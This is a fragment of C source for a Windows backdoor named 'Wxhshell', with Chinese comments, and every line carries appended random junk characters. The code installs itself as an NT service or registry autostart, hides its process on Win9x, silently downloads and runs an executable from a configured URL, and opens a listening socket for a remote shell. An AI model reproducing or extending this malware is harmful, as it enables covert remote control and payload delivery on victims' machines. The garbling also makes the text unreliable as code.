ULONG InheritedFromUniqueProcessId; c-zW
2;|61
} PROCESS_BASIC_INFORMATION; jB -Ad8
0<A*I{,4L
PROCNTQSIP NtQueryInformationProcess; fC"?r6d
<> HI(6\@Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D0\*WK$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7.{+8#~nV
zKk=R6w
HANDLE hProcess; 6k')12~'
PROCESS_BASIC_INFORMATION pbi; hJFxT8B/
"pX|?ap
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lniz>gSc
if(NULL == hInst ) return 0; ;U0w<>4L
J}Z\I Y,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u YFy4E3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %b
pQ=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hv"qRuQ?[
z+fy&NPl
if (!NtQueryInformationProcess) return 0; \xOYa
4EeVO5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aa]|
if(!hProcess) return 0; /"!ck2d&1
WO69Wo\C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M$v\7vBgO!
MR,>]|
^
CloseHandle(hProcess);
B*`[8kb,
DbI)tDi5D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "@+Z1k-8U
if(hProcess==NULL) return 0; CC6]AM(i
3kr.'O
HMODULE hMod; UM1h[#?&V)
char procName[255]; d|tNn@jN
unsigned long cbNeeded; z\k6."e_&
^~B#r#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WYvcN8F
f#38QP-T
CloseHandle(hProcess); <@>icDFEHn
gBgaVG
if(strstr(procName,"services")) return 1; // 以服务启动 G #$r)S
tR=1.M96Y
return 0; // 注册表启动 =?M{B1;H
} ?YFSK
o|KmKC n>
// 主模块 Fyz1LOH[X
int StartWxhshell(LPSTR lpCmdLine) FLumI-se!
{ &x.5TDB>%
SOCKET wsl; o
-x=/b
BOOL val=TRUE; MA=gCG/JD
int port=0; H8Ra !FW@
struct sockaddr_in door; IYr4
F6{Q1DqI
if(wscfg.ws_autoins) Install(); 93)1
VyIM ,glu
port=atoi(lpCmdLine); O8*yho
1OFrxSg
if(port<=0) port=wscfg.ws_port; z4[8*}
/GP:W6:6z6
WSADATA data; LqQ&4I
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RLh%Y>w
#FGj)pu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MR":aT
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [r1\FF@v,
door.sin_family = AF_INET; > W^"*B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )P W Zc?M
door.sin_port = htons(port); |'k7 ;UW
{bNKyT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n7#}i2:
closesocket(wsl); R4f_Kio
return 1; G7#<Jo<8
} xCU
pMB7
?DM!=.]
if(listen(wsl,2) == INVALID_SOCKET) { AbMf8$$3SH
closesocket(wsl); k
_Bz@^J
return 1; G{'`L)~3N
} NW*$+u%/R
Wxhshell(wsl); R5cpmCs@R
WSACleanup(); ];{CNDAL2
K{G\=yJ((
return 0; "V4ru&a
I(Q3YDdb
} ]EvK.ORy
F$,i_7Z&6
// 以NT服务方式启动 ibuoq X`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |HTTTz9R.
{ O=}jg0k
DWORD status = 0; C/z 0/mk
DWORD specificError = 0xfffffff; KupQtT<
D89(u.h
serviceStatus.dwServiceType = SERVICE_WIN32; I|P#|0< 2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;0 9~#Wop
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ftqeiZ
2
serviceStatus.dwWin32ExitCode = 0; fXx !_Z
serviceStatus.dwServiceSpecificExitCode = 0; 2$>
<rB
serviceStatus.dwCheckPoint = 0; tb'O:/
serviceStatus.dwWaitHint = 0; jW.IkG[|
WD'[|s\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m@c\<-P
if (hServiceStatusHandle==0) return; /80RO:'7
'_M"yg6d
status = GetLastError(); :&=`xAX-
if (status!=NO_ERROR) k
3oR:
{ ;LFs.Jc<
serviceStatus.dwCurrentState = SERVICE_STOPPED; "xMnD(p
serviceStatus.dwCheckPoint = 0; ^14a[ta/'
serviceStatus.dwWaitHint = 0; uRRp8hht
serviceStatus.dwWin32ExitCode = status; $mDlS
serviceStatus.dwServiceSpecificExitCode = specificError; OO?BN!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Dg|Iz,Uh
return; Pu0O6@Rg
} MryY<s
5tu 4uYp;
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ov~>* [
serviceStatus.dwCheckPoint = 0; )tR@\G >%
serviceStatus.dwWaitHint = 0; 9d >AnTf&H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :LMLY<8>9
} 6+_qGV
\oV g(J&o
// 处理NT服务事件,比如:启动、停止 \XgpwvO".
VOID WINAPI NTServiceHandler(DWORD fdwControl) >0jg2vqt
{ :)Z.!
switch(fdwControl) b#{[Pk,w9
{ ]@mV9:n{
case SERVICE_CONTROL_STOP: #BwkbOgr
serviceStatus.dwWin32ExitCode = 0; {P
$sQv
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5>"X?U}He
serviceStatus.dwCheckPoint = 0; OOX[xv!b
serviceStatus.dwWaitHint = 0; !I[|\ 4j
{ &-M}:'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); UNKr
FYl
} /UPe@
return; YhFd0A?]
case SERVICE_CONTROL_PAUSE: 0%GQXiy
serviceStatus.dwCurrentState = SERVICE_PAUSED; f-l(H="e
break; }*M>gvPo
case SERVICE_CONTROL_CONTINUE: Yuqt=\? #
serviceStatus.dwCurrentState = SERVICE_RUNNING; fg0zD:@rA
break; )2y#
cM*
case SERVICE_CONTROL_INTERROGATE: xe!6Pgcb
break; C.q4rr
}; .Fn7yTQ%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;UDd4@3`S"
} u(g0Ob
yM*f}S/
(
// 标准应用程序主函数 rIZ^ix-N
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ).9m6.%Uk
{ -jQMh
72{Ce7J4
// 获取操作系统版本 DmpG35Jk
OsIsNt=GetOsVer(); hy{1 Ea/T
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7!%xJ!
X) xeq
// 从命令行安装 1wM~),B8
if(strpbrk(lpCmdLine,"iI")) Install(); E)utrO R
a+ lGN
// 下载执行文件 _h8|shyP
if(wscfg.ws_downexe) { ]Geg;[t
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @Xj6h!"R
WinExec(wscfg.ws_filenam,SW_HIDE); x72T5.
} $@Kwsoh'
W]=$0'
if(!OsIsNt) { Y>2kOE
// 如果时win9x,隐藏进程并且设置为注册表启动 %Y*]eLT>
HideProc(); QO(P_az3mg
StartWxhshell(lpCmdLine); LP-_i}Kq
} Bi$nYV)-l
else G[M{TS3&Ds
if(StartFromService()) 2
rx``,7Q
// 以服务方式启动 [|"{a
StartServiceCtrlDispatcher(DispatchTable); ;{hE]jReH
else nH7i)!cI~
// 普通方式启动 BEnIyVU;L
StartWxhshell(lpCmdLine); k9vzxZ%s:
m6^n8%
return 0; <maYS2
}